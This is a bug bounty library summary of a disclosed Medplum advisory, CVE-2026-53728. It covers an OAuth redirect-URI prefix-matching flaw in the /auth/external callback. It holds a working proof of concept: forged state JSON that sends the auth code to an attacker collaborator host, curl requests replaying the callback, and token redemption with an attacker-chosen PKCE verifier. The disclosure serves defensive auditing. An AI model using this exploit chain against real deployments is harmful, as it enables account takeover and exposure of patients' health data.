# Medplum: Improper Validation of Redirect URI in External Auth Callback allows Authorization Code Leakage

Medplum's /auth/external callback prefix-matched redirect URIs and trusted client-supplied state, letting attackers redirect the auth code to their own host and redeem it via injected PKCE verifier.

- Payout: Research
- Severity: high
- Program: Medplum
- Found by: sAjibuu
- Disclosed: 2026-08-17
- CVE: CVE-2026-53728
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-m44r-7c5h-m6mj
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-m44r-7c5h-m6mj
- Tags: area:web domain:web impact:ato impact:data-leak kind:research platform:ghsa sev:high tech:oauth technique:chained technique:source-review vuln:account-takeover vuln:auth-bypass vuln:open-redirect

**Target:** GET /auth/external external IdP callback (npm @medplum/core)
**Root cause:** getClientRedirectUri() is called with partial matching enabled and accepts any requestedUri that startsWith a registered redirect URI; the external auth state is raw client-serialized JSON trusted by the callback, so state.redirectUri can be tampered with.
**Steps:**
1. Configure target ClientApplication with an identityProvider and a registered redirect URI that is a prefix of an attacker host, e.g. `http://callback.audit.local`.
2. Forge state JSON: `{"clientId":"<medplum-client-id>","redirectUri":"http://callback.audit.local.oastify.com/cb","codeChallenge":"attack-verifier-123","codeChallengeMethod":"plain"}` and URL-encode it.
3. Obtain a valid IdP authorization code from a normal external login flow.
4. Request `curl -i 'http://api.audit.local:8103/auth/external?code=<valid-idp-code>&state=<URLENCODED_FORGED_STATE>'`.
5. Observe 302 to `http://callback.audit.local.oastify.com/cb?login=<login-id>&code=<medplum-auth-code>`; collaborator receives the leaked code.
6. Redeem the code: `curl -i -X POST 'http://api.audit.local:8103/oauth2/token' -H 'Content-Type: application/x-www-form-urlencoded' --data 'grant_type=authorization_code&code=<medplum-auth-code>&code_verifier=attack-verifier-123'`.
**How found:** Code review of externalCallbackHandler() and getClientRedirectUri(): noticed the third argument enabling partial matching and that the later exact-match lookup only logs, not blocks; also noted state is raw JSON serialized client-side and trusted server-side.
**Exploitation:** Attacker tampers state.redirectUri to a hostname extending the registered prefix, supplies their own PKCE code_challenge/verifier, and gets the victim's Medplum auth code redirected to their endpoint; redeems it at /oauth2/token for an access token, achieving ATO and PHI access.
**Escalation:** Attacker-controlled PKCE parameters in the forged state bypass PKCE protection, turning a redirect into full token redemption and account takeover.
**Insight:** When auditing OAuth callbacks, check whether redirect URI validation uses startsWith/prefix matching and whether the exact-match check actually gates the redirect or only logs; also check if state is client-serialized JSON rather than server-bound, since that lets you inject your own PKCE challenge and redirectUri.

## Proof of concept (copied exactly from the original report)

**Forged state JSON with attacker redirectUri**

```
{"clientId":"<medplum-client-id>","redirectUri":"http://callback.audit.local.oastify.com/cb","codeChallenge":"attack-verifier-123","codeChallengeMethod":"plain"}
```

**cURL replay of external callback with forged state**

```
curl -i 'http://api.audit.local:8103/auth/external?code=<valid-idp-code>&state=<URLENCODED_FORGED_STATE>
```

**Token redemption using attacker PKCE verifier**

```
curl -i -X POST 'http://api.audit.local:8103/oauth2/token' \
  -H 'Content-Type: application/x-www-form-urlencoded' \
  --data 'grant_type=authorization_code&code=<medplum-auth-code>&code_verifier=attack-verifier-123'
```

